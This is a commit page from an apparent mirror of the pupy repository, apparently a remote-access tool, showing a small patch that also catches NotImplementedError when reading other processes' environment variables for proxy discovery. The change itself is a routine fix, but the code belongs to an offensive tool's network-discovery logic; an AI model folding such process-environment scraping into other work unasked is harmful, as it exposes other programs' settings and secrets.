mirror of https://github.com/n1nj4sec/pupy.git
psutil may raise NotImplementedError
This commit is contained in:
parent
8149ccac41
commit
75f37a8374
|
@ -181,6 +181,7 @@ def parse_env_proxies(var):
|
||||||
def get_env_proxies():
|
def get_env_proxies():
|
||||||
for env in PROXY_ENV:
|
for env in PROXY_ENV:
|
||||||
var = os.environ.get(env)
|
var = os.environ.get(env)
|
||||||
|
|
||||||
if not var:
|
if not var:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -357,7 +358,7 @@ def get_processes_proxies():
|
||||||
for p in psutil.process_iter():
|
for p in psutil.process_iter():
|
||||||
try:
|
try:
|
||||||
environ = p.as_dict(['environ'])['environ']
|
environ = p.as_dict(['environ'])['environ']
|
||||||
except WindowsError:
|
except (WindowsError, NotImplementedError):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not environ:
|
if not environ:
|
||||||
|
|
Loading…
Reference in New Issue